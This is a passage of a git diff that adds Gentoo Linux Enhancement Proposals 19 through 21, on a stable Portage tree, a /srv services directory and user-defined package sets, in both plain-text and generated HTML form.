+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0019.txt b/xml/htdocs/proj/en/glep/glep-0019.txt
new file mode 100644
index 00000000..2156889d
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0019.txt
@@ -0,0 +1,129 @@
+GLEP: 19
+Title: Gentoo Stable Portage Tree 
+Version: $Revision: 1.8 $
+Last-Modified: $Date: 2006/10/10 16:54:34 $
+Author: Kurt Lieber <klieber@gentoo.org> 
+Status: Withdrawn
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 26-Jan-2004
+Post-History: 29-Jan-2004 2-Nov-2004 7-Dec-2004 10-Oct-2006
+
+Status
+======
+
+Withdrawn by the author.  "If someone wants to take up the torch, more
+power to them, but they should probably start clean with a new glep."
+
+Abstract
+========
+
+This GLEP is intended to propose a series of changes to the Portage tree that
+are necessary to facilitate the use of Gentoo in areas where stability and
+predictability are of paramount importance, including servers in enterprise
+environments, mission critical workstations and other such installations.
+
+The proposed solution involves creating a separate tree in Portage that is
+updated far less often than the regular tree.  Outside of periodic updates,
+this tree would only be updated with critical bugfixes and security patches.
+
+Status
+======
+
+Currently recruiting people who would be willing to help with this GLEP.
+
+Motivation
+==========
+
+Enterprise users typically value stability and a predictable upgrade path
+over having the latest packages or features available to them.  Historically,
+Gentoo Linux has been unable to provide such an environment due to the dynamic
+nature of the Portage tree.
+
+Specification
+=============
+
+The Gentoo Infrastructure team will need to provide an additional Portage tree
+on our rsync mirroring system.  This new tree will house the ebuilds
+associated with the stable tree.  It also impacts all Gentoo developers
+responsible for creating and updating ebuilds as they will be expected to
+integrate the tagging of ebuilds for the stable tree into their normal
+development process, both for the quarterly release cycles as well as
+off-cycle bug and security fixes.
+
+The Gentoo Documentation team will also be affected as they will be
+responsible for updating installation documents to take these new features
+into account.
+
+Rationale
+=========
+
+A basic outline of various ways of adding a "stable" tree to Portage was
+discussed in the gentoo managers meeting on 26-Jan-04.  Consensus seemed to be
+reached that such a solution was needed and that branching the gentoo-x86
+repository was the appropriate way to accomplish this.  The largest area of
+disagreement surrounded how specific ebuilds should be targeted for inclusion
+in the stable tree.
+
+One suggested solution was a simple branch of the CVS tree and having
+developers work in two separate branches; one for the stable tree and
+another for the traditional tree.  However, it was felt this would prove too
+cumbersome in practice.
+
+Another suggestion was to have a small group of dedicated gentoo-server
+developers responsible for generating the contents of the stable tree, which
+would provide more control and quality assurance over the ebuilds added to the
+stable tree.  While this might prove effective for a small number of ebuilds,
+it is quite likely that this model would not scale enough to allow for a large
+number of ebuilds in the stable tree and, over time, the project would become
+resource constrained and unable to meed future deadlines.  
+
+While the original draft of this GLEP called for the creation of a stable
+keyword, we have since discarded that idea in favor of creating a custom
+profile, which will be used to track a subset of packages and versions.
+
+Implementation
+==============
+
+This GLEP will create a new set of cascaded profiles (one per release, not to
+exceed two per year) which will contain a subset of packages, including
+versions.  This profile will "pin" a Gentoo Linux box to a specific set of
+packages and will only be updated for security updates and, in rare
+circumstances, major bug fixes.
+
+Because this profile will be cascaded, the option exists for other developers
+to create their own profile, containing a subset of packages not found in the
+"main" stable tree and include those as part of the overall stable profile.
+These cases will be treated on a one-off basis.
+
+The initial version will be x86 only, though other people will be encouraged
+to provide separate stable profiles for other arches.  It is expected that any
+effort to provide a stable tree for any arch or flavor of Gentoo will follow
+the basic outline of this GLEP to ensure consistency for our users.
+
+In addition to a custom profile, this GLEP will also create a separate rsync
+repository, "gentoo-stable-portage", which will be available on all servers in
+the rsync.gentoo.org rotation.  This repository will be *identical* to the
+main gentoo-portage repository except that the --delete flag will be removed
+from the rsync option that populates the tree.  This will ensure that users of
+the stable profile will not have to worry about ebuilds for their packages
+disappearing.
+
+Stable profiles will be maintained on an N - 2 basis.  That is to say that we
+will maintain a stable profile for the most current release, plus the previous
+two releases.  With the expected release schedule for 2005, this will result
+in each profile being supported for approximately 18 months.  Future versions
+of the stable portage tree may seek to increase the life of these profiles.
+
+Backwards Compatibility
+=======================
+
+All features proposed here are new additions to existing processes and
+features.  There should be no impact on existing features and functionality.
+
+
+Copyright
+=========
+
+This document is licensed under the Creative Commons - Attribution / Share
+Alike license. (http://creativecommons.org/licenses/by-sa/1.0)
diff --git a/xml/htdocs/proj/en/glep/glep-0020.html b/xml/htdocs/proj/en/glep/glep-0020.html
new file mode 100644
index 00000000..72da07cc
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0020.html
@@ -0,0 +1,206 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 20 -- /srv - Services Home Directory Support</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0020.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">20</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">/srv - Services Home Directory Support</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.2</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0020.txt?cvsroot=gentoo">2004/11/11 21:35:53</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Stuart Herbert &lt;stuart&#32;&#97;t&#32;gentoo.org&gt;, Rob Holland &lt;tigger&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Approved</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">09-Feb-2004</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">21-Feb-2004, 11-Nov-2004</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#thanks-to" id="id2" name="id2">Thanks To</a></li>
+<li><a class="reference" href="#abstract" id="id3" name="id3">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id4" name="id4">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id5" name="id5">Specification</a></li>
+<li><a class="reference" href="#examples" id="id6" name="id6">Examples</a></li>
+<li><a class="reference" href="#rationale" id="id7" name="id7">Rationale</a></li>
+<li><a class="reference" href="#implementation" id="id8" name="id8">Implementation</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id9" name="id9">Backwards Compatibility</a></li>
+<li><a class="reference" href="#copyright" id="id10" name="id10">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id2" id="thanks-to" name="thanks-to">Thanks To</a></h1>
+<p>Thanks to Robin H. Johnson (<a class="reference" href="mailto:robbat2&#64;gentoo.org">robbat2&#64;gentoo.org</a>) for his assistance in writing
+this GLEP.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id3" id="abstract" name="abstract">Abstract</a></h1>
+<p>This GLEP proposes a new root-level directory - /srv - as an optional home
+for the data (and sometimes the software too) for software that provides
+services.</p>
+<p>/srv will be supported via a USE flag.  This gives users the choice
+of using a dedicated service home hierarchy or not.</p>
+<p>/srv is defined in FHS 2.3, which is part of the upcoming LSB v2.0 release
+(<a class="reference" href="http://bugs.freestandards.org/cgi-bin/bugzilla/show_bug.cgi?id=16">http://bugs.freestandards.org/cgi-bin/bugzilla/show_bug.cgi?id=16</a>)</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="motivation" name="motivation">Motivation</a></h1>
+<p>Gentoo currently does not provide sufficiently flexible support for
+sites which wish to consolidate the data for their service-orientated
+software under one simple, easy to administer, location.</p>
+<p>Adding optional support for the /srv directory structure will give
+sites increased flexibility on how to layout their machines.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="specification" name="specification">Specification</a></h1>
+<p>A new global USE flag - srvdir - will be added to Portage.</p>
+<p>Ebuilds that choose to support the srvdir USE flag will configure the
+package to install and use their data under the /srv directory.</p>
+<p>Ebuilds that choose to support the srvdir USE flag - and which install
+packages that need write access to the same directories that the
+software is installed into - will configure the package to install
+the software under the /srv directory.</p>
+<p>All packages configured to support the srvdir USE flag will support
+this breakdown of /srv:</p>
+<blockquote>
+/srv/&lt;fqdn&gt;/&lt;service&gt;/&lt;service-specific tree&gt;</blockquote>
+<dl class="docutils">
+<dt>where</dt>
+<dd>&lt;fqdn&gt; is the fully-qualified domain name
+&lt;service&gt; is the name of the service
+&lt;service-specific tree&gt; is unique to the package</dd>
+</dl>
+<p>Ebuilds that install anything into /srv will install into /srv/localhost.
+/srv/localhost - or any of the &lt;service&gt; directories underneath it - may be
+symlinks created by the local administrator.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="examples" name="examples">Examples</a></h1>
+<p>For example, backup packages which support the srvdir USE flag could
+save backup data under the /srv/&lt;hostname&gt;/backups directory for each
+host on the network that they perform backups for.</p>
+<p>For example, web-based applications which support the srvdir USE flag
+could install their software under the /srv/localhost/www/htdocs directory.
+Ebuilds for web-based applications which also support the vhost USE flag
+will allow the user to install software under other service domains
+through the webapp-config package.  See GLEP #11 and the vhost-config tool for
+more information on how this works.</p>
+<p>There are many other packages that could support the srvdir USE flag -
+including Portage itself.</p>
+<p>For packages that do not support the srvdir USE flag, there is currently no
+recommended default location to use - although /var/localhost may prove a
+useful alternative.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="rationale" name="rationale">Rationale</a></h1>
+<p>Introducing optional support for the /srv directory will benefit a number of
+groups of Gentoo users.</p>
+<ul>
+<li><p class="first">Users who wish to have /usr mounted read-only</p>
+<p>/srv provides an optional alternative for packages that install writable
+files into /usr.</p>
+</li>
+<li><p class="first">Users who wish to isoloate services from /home utilisation</p>
+<p>Services stop working when real users fill /home.  As many packages cannot
+detect or robustly cope with this situation, services that write files
+to disk normally end up corrupting those files.</p>
+</li>
+<li><p class="first">Users who do not wish to export /var or its sub-directories</p>
+<p>Exporting /var - or its subdirectories - via NFS et al is something that
+some system administrators simply do not wish to do.  Providing these users
+with the choice of installing into /srv fits with the published Gentoo
+philosophy of allowing users as much choice as possible.</p>
+</li>
+<li><p class="first">Users who share resources via NFS, or who use Network-Attached Storage (NAS)</p>
+<p>Allowing system administrators to choose to configure service-providing
+software to use a single file hierarchy will greatly simply the management
+and maintenance of NFS exports - and imports - in clustered environments.</p>
+</li>
+<li><p class="first">Service providers, who host more than one customer's services on a machine</p>
+<p>Grouping all the storage (web, ftp, databases, IMAP, etc etc) under one
+location greatly simplifies managing disk quotas on that host.</p>
+<p>It is common practice for shared hosted systems to place web sites,
+ftp sites and so on under a user's actual home directory.  This practice
+requires the user's home directory to be world-readable, which does not
+promote strong security!</p>
+</li>
+<li><p class="first">Users who wish to store service-orientated files onto a single logical
+volume to support future growth</p>
+</li>
+</ul>
+<p>The Gentoo Philosophy clearly states that Gentoo Linux will be a
+highly-configurable meta-distribution.  Adding optional support for /srv is
+very much in keeping with our Philosophy.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="implementation" name="implementation">Implementation</a></h1>
+<p>A new USE flag - srvdir - will be added to Portage.</p>
+<p>Ebuilds and eclasses will choose to support the srvdir USE flag or not on
+an individual basis.</p>
+<p>(Author's note: If this GLEP is approved, all web-based applications will
+support the srvdir USE flag through the work being carried out under GLEP #11)</p>
+<p>There has been some debate about whether the /srv directory should be provided
+by the basesystem package or not.  Because this support is optional, and
+because different sites will have different storage requirements, we believe
+that it should be left to the local Gentoo system administrator to manually
+create the /srv directory.</p>
+<p>If baselayout feels that it must install a /srv, then we propose that
+baselayout installs /srv as a symlink to /var/srv.  This approach will support
+installations that mount the root filesystem read-only.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>Users who choose not to use the new srvdir USE flag will see little to no
+change.  It is likely that some ebuilds will change their non-srvdir directory
+layout to reduce the amount of effort required to support both options.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id10" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document is licensed under the Creative Commons - Attribution / Share
+Alike license. (<a class="reference" href="http://creativecommons.org/licenses/by-sa/1.0">http://creativecommons.org/licenses/by-sa/1.0</a>)</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0020.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0020.txt b/xml/htdocs/proj/en/glep/glep-0020.txt
new file mode 100644
index 00000000..438c1b7e
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0020.txt
@@ -0,0 +1,168 @@
+GLEP: 20
+Title: /srv - Services Home Directory Support
+Version: $Revision: 1.2 $
+Last-Modified: $Date: 2004/11/11 21:35:53 $
+Author: Stuart Herbert <stuart@gentoo.org>, Rob Holland <tigger@gentoo.org>
+Status: Approved
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 09-Feb-2004
+Post-History: 21-Feb-2004, 11-Nov-2004
+
+Thanks To
+=========
+
+Thanks to Robin H. Johnson (robbat2@gentoo.org) for his assistance in writing
+this GLEP.
+
+Abstract
+========
+
+This GLEP proposes a new root-level directory - /srv - as an optional home
+for the data (and sometimes the software too) for software that provides
+services.
+
+/srv will be supported via a USE flag.  This gives users the choice
+of using a dedicated service home hierarchy or not.
+
+/srv is defined in FHS 2.3, which is part of the upcoming LSB v2.0 release
+(http://bugs.freestandards.org/cgi-bin/bugzilla/show_bug.cgi?id=16)
+
+Motivation
+==========
+
+Gentoo currently does not provide sufficiently flexible support for
+sites which wish to consolidate the data for their service-orientated
+software under one simple, easy to administer, location.
+
+Adding optional support for the /srv directory structure will give
+sites increased flexibility on how to layout their machines.
+
+Specification
+=============
+
+A new global USE flag - srvdir - will be added to Portage.
+
+Ebuilds that choose to support the srvdir USE flag will configure the
+package to install and use their data under the /srv directory.
+
+Ebuilds that choose to support the srvdir USE flag - and which install
+packages that need write access to the same directories that the
+software is installed into - will configure the package to install
+the software under the /srv directory.
+
+All packages configured to support the srvdir USE flag will support
+this breakdown of /srv:
+
+	/srv/<fqdn>/<service>/<service-specific tree>
+	
+where
+	<fqdn> is the fully-qualified domain name
+	<service> is the name of the service
+	<service-specific tree> is unique to the package
+
+Ebuilds that install anything into /srv will install into /srv/localhost. 
+/srv/localhost - or any of the <service> directories underneath it - may be
+symlinks created by the local administrator.  
+
+Examples
+========
+
+For example, backup packages which support the srvdir USE flag could
+save backup data under the /srv/<hostname>/backups directory for each
+host on the network that they perform backups for.
+
+For example, web-based applications which support the srvdir USE flag
+could install their software under the /srv/localhost/www/htdocs directory.
+Ebuilds for web-based applications which also support the vhost USE flag
+will allow the user to install software under other service domains
+through the webapp-config package.  See GLEP #11 and the vhost-config tool for
+more information on how this works.
+
+There are many other packages that could support the srvdir USE flag -
+including Portage itself.
+
+For packages that do not support the srvdir USE flag, there is currently no
+recommended default location to use - although /var/localhost may prove a
+useful alternative.
+
+Rationale
+=========
+
+Introducing optional support for the /srv directory will benefit a number of
+groups of Gentoo users.
+
+* Users who wish to have /usr mounted read-only
+
+  /srv provides an optional alternative for packages that install writable
+  files into /usr.
+
+* Users who wish to isoloate services from /home utilisation
+
+  Services stop working when real users fill /home.  As many packages cannot
+  detect or robustly cope with this situation, services that write files
+  to disk normally end up corrupting those files.
+
+* Users who do not wish to export /var or its sub-directories
+
+  Exporting /var - or its subdirectories - via NFS et al is something that
+  some system administrators simply do not wish to do.  Providing these users
+  with the choice of installing into /srv fits with the published Gentoo
+  philosophy of allowing users as much choice as possible.
+
+* Users who share resources via NFS, or who use Network-Attached Storage (NAS)
+
+  Allowing system administrators to choose to configure service-providing
+  software to use a single file hierarchy will greatly simply the management
+  and maintenance of NFS exports - and imports - in clustered environments.
+
+* Service providers, who host more than one customer's services on a machine
+
+  Grouping all the storage (web, ftp, databases, IMAP, etc etc) under one
+  location greatly simplifies managing disk quotas on that host.
+  
+  It is common practice for shared hosted systems to place web sites,
+  ftp sites and so on under a user's actual home directory.  This practice
+  requires the user's home directory to be world-readable, which does not
+  promote strong security!
+
+* Users who wish to store service-orientated files onto a single logical 
+  volume to support future growth
+
+The Gentoo Philosophy clearly states that Gentoo Linux will be a
+highly-configurable meta-distribution.  Adding optional support for /srv is
+very much in keeping with our Philosophy.
+
+Implementation
+==============
+
+A new USE flag - srvdir - will be added to Portage.
+
+Ebuilds and eclasses will choose to support the srvdir USE flag or not on
+an individual basis.
+
+(Author's note: If this GLEP is approved, all web-based applications will
+support the srvdir USE flag through the work being carried out under GLEP #11)
+
+There has been some debate about whether the /srv directory should be provided
+by the basesystem package or not.  Because this support is optional, and
+because different sites will have different storage requirements, we believe
+that it should be left to the local Gentoo system administrator to manually 
+create the /srv directory.
+
+If baselayout feels that it must install a /srv, then we propose that
+baselayout installs /srv as a symlink to /var/srv.  This approach will support
+installations that mount the root filesystem read-only.
+
+Backwards Compatibility
+=======================
+
+Users who choose not to use the new srvdir USE flag will see little to no
+change.  It is likely that some ebuilds will change their non-srvdir directory
+layout to reduce the amount of effort required to support both options.
+
+Copyright
+=========
+
+This document is licensed under the Creative Commons - Attribution / Share
+Alike license. (http://creativecommons.org/licenses/by-sa/1.0)
diff --git a/xml/htdocs/proj/en/glep/glep-0021.html b/xml/htdocs/proj/en/glep/glep-0021.html
new file mode 100644
index 00000000..5d2a0e5e
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0021.html
@@ -0,0 +1,242 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 21 -- User-defined Package Sets</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0021.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">21</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">User-defined Package Sets</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.6</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0021.txt?cvsroot=gentoo">2009/02/20 09:19:56</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Tal Peer &lt;coredumb&#32;&#97;t&#32;gentoo.org&gt;,
+Alec Warner &lt;antarus&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Final</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Discussed-To:</th><td class="field-body"><a class="reference" href="mailto:gentoo-portage-dev&#64;lists.gentoo.org">gentoo-portage-dev&#64;lists.gentoo.org</a></td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">22-Feb-2004</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">6-Mar-2004, 3-Sep-2006</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#status" id="id3" name="id3">Status</a></li>
+<li><a class="reference" href="#abstract" id="id4" name="id4">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id5" name="id5">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id6" name="id6">Specification</a><ul>
+<li><a class="reference" href="#using-user-defined-sets-with-emerge" id="id7" name="id7">Using User-defined Sets With Emerge</a></li>
+<li><a class="reference" href="#compatibility-with-other-portage-features" id="id8" name="id8">Compatibility With Other Portage Features</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#implementation" id="id9" name="id9">Implementation</a></li>
+<li><a class="reference" href="#rationale" id="id10" name="id10">Rationale</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id11" name="id11">Backwards Compatibility</a></li>
+<li><a class="reference" href="#references" id="id12" name="id12">References</a></li>
+<li><a class="reference" href="#copyright" id="id13" name="id13">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id3" id="status" name="status">Status</a></h1>
+<p>Abandoned. Package set support has been added in portage-2.2, but it
+doesn't match the description in this document in many cases, and the
+document has several major gaps regarding the behavior and restrictions
+of package sets.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="abstract" name="abstract">Abstract</a></h1>
+<p>In Portage, package sets (formerly known as 'classes' or 'targets')
+are mere groups of packages, grouped together to allow easier updating
+and handling of them. Currently it is impossible to define sets further
+than the two default ones: &quot;system&quot; and &quot;world&quot;.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="motivation" name="motivation">Motivation</a></h1>
+<p>Over the months, quite a few requests for user-defined sets were
+made by users and developers, either by posting bugs, messages to
+mailing lists or on IRC. Usually the response is that this is an
+awesome idea, but no one ever took the time to actually define it
+properly and implement it.</p>
+<p>This document offers a specification for the implementation of
+user-defined sets using configuration files similar to the current
+world/system sets use.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="specification" name="specification">Specification</a></h1>
+<p>The proposed implementation uses a one file per set approach, meaning
+each package set is defined in a single file. All set definition files
+will reside in a directory <tt class="docutils literal"><span class="pre">/etc/portage/sets/</span></tt> and each set's name
+will be its file name. Therefore, if one defines a set in
+/etc/portage/sets/foo-set, the set name will be 'foo-set'. Usual
+package naming rules <a class="footnote-reference" href="#name-rules" id="id1" name="id1">[1]</a> also apply to sets.</p>
+<p>As it is impossible to create two or more files with identical names
+in the same directory, a theoretic conflict between two different sets
+sharing the same name is impossible. However, users may define a
+package set whose name conflicts with one more or packages (for ambiguity
+resolution, see below).</p>
+<p>Syntax for the package list file is the same as the world file syntax,
+as described in the Portage manpage <a class="footnote-reference" href="#portage-manpage" id="id2" name="id2">[2]</a>, with one
+addition: sets may not be 'inherited' by other sets, only packages may
+be listed. There is no limitation to the number of packages in a set
+or to the number of sets a package may belong to.</p>
+<div class="section">
+<h2><a class="toc-backref" href="#id7" id="using-user-defined-sets-with-emerge" name="using-user-defined-sets-with-emerge">Using User-defined Sets With Emerge</a></h2>
+<p>The user-defined sets will be available either directly or using
+the --package-set option, As in:</p>
+<pre class="literal-block">
+# Basically the same:
+emerge foo-set
+emerge --package-set foo-set
+</pre>
+<p>The --package-set option is introduced to bypass ambiguities, as
+illustrated in the next example:</p>
+<pre class="literal-block">
+emerge foo                # Where foo is both a set and a one or more
+                          # existing packages. This will cause emerge to show
+                          # the ambiguity, ask us to be more
+                          # specific, and stop.
+
+emerge --package-set foo  # So we specify that what we actually
+                          # meant was the package set.
+
+emerge cat-bar/foo        # Or we specify the exact package name.
+</pre>
+<p>When running emerge with the --pretend option, sets will be
+expanded to the packages they are comprised off in the output, as with
+the current system-defined sets.</p>
+<p>Only one set may be passed to portage at time, and sets can not
+be mixed with ordinary packages. Thus, the following snippets are
+all invalid and will result in an error  (assuming <tt class="docutils literal"><span class="pre">foo-set</span></tt> and
+<tt class="docutils literal"><span class="pre">bar-set</span></tt> are defined as sets):</p>
+<pre class="literal-block">
+emerge foo-set glibc
+emerge bar-set system
+emerge world foo-set gcc
+</pre>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id8" id="compatibility-with-other-portage-features" name="compatibility-with-other-portage-features">Compatibility With Other Portage Features</a></h2>
+<ul class="simple">
+<li>Dependencies:
+Package sets (both system-defined and user-defined) may not be
+depended on by ordinary packages and eclasses.</li>
+<li>package.mask:
+Masking a package set through the <tt class="docutils literal"><span class="pre">package.mask</span></tt> file is forbidden.
+In order to 'mask' a package set, one should move it away from the
+sets directory.</li>
+<li>package.use:
+USE flags may not be defined for sets in the <tt class="docutils literal"><span class="pre">package.use</span></tt> file.</li>
+</ul>
+</div>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="implementation" name="implementation">Implementation</a></h1>
+<p>The implementation of the package sets concept in Portage should be
+mostly done in portage.py, and only the interface parts should be
+added to emerge itself, to keep the separation between interface and
+logic.</p>
+<p>The amount of work needed for implementation is not trivial, but not
+huge either.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id10" id="rationale" name="rationale">Rationale</a></h1>
+<p>The one file per set approach makes it easy to list the sets which are
+defined on a system by just listing the <tt class="docutils literal"><span class="pre">/etc/portage/sets</span></tt>
+directory contents. Additionally, it makes the set lookup process more
+efficient as it only requires to check if a file exists.</p>
+<p>I chose the --package-set option over the --set option for explicitly
+telling portage to emerge a set mostly because --set implies setting
+an environment variable, or such.</p>
+<p>Allowing sets' USE flags to be manipulated through the <tt class="docutils literal"><span class="pre">package.use</span></tt>
+file would have done more harm than good, for several reasons:</p>
+<ul class="simple">
+<li>If a USE flag is turned on (i.e. 'foo') for a set and the same USE
+flag is turned off (i.e. '-foo'), for a package which is part of
+the set, it is unclear which setting should take precedence.</li>
+<li>Similarly, if a USE flag is turned on for a set and the same USE flag
+is turned off for a set that is a subset of the original set, it is
+unclear which setting should take precedence.</li>
+<li>If a USE flag is defined (either off or on) for a set and a package
+that belongs in the set is to be emerged, it is unclear whether the
+USE flag should be defined when emerging the package in question.</li>
+</ul>
+<p>Therefore, I have decided it would be better to disallow setting USE
+flags for sets.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id11" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>Backwards compatibility with the current situation, in which only two
+system-defined sets exist can be kept in one of two ways:</p>
+<ol class="arabic simple">
+<li>Leaving the situation as is - the 'world' and 'system' sets are
+hard-coded in Portage.</li>
+<li>Distributing default 'system' and 'world' files under the
+<tt class="docutils literal"><span class="pre">/etc/portage/sets/</span></tt> directory.</li>
+</ol>
+<p>Other than that, there are no other backwards compatibility concerns
+involved.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id12" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="name-rules" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id1" name="name-rules">[1]</a></td><td>Gentoo Linux Development Policy - Ebuild Policy
+(<a class="reference" href="http://www.gentoo.org/doc/en/policy.xml#doc_chap3">http://www.gentoo.org/doc/en/policy.xml#doc_chap3</a>)</td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="portage-manpage" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
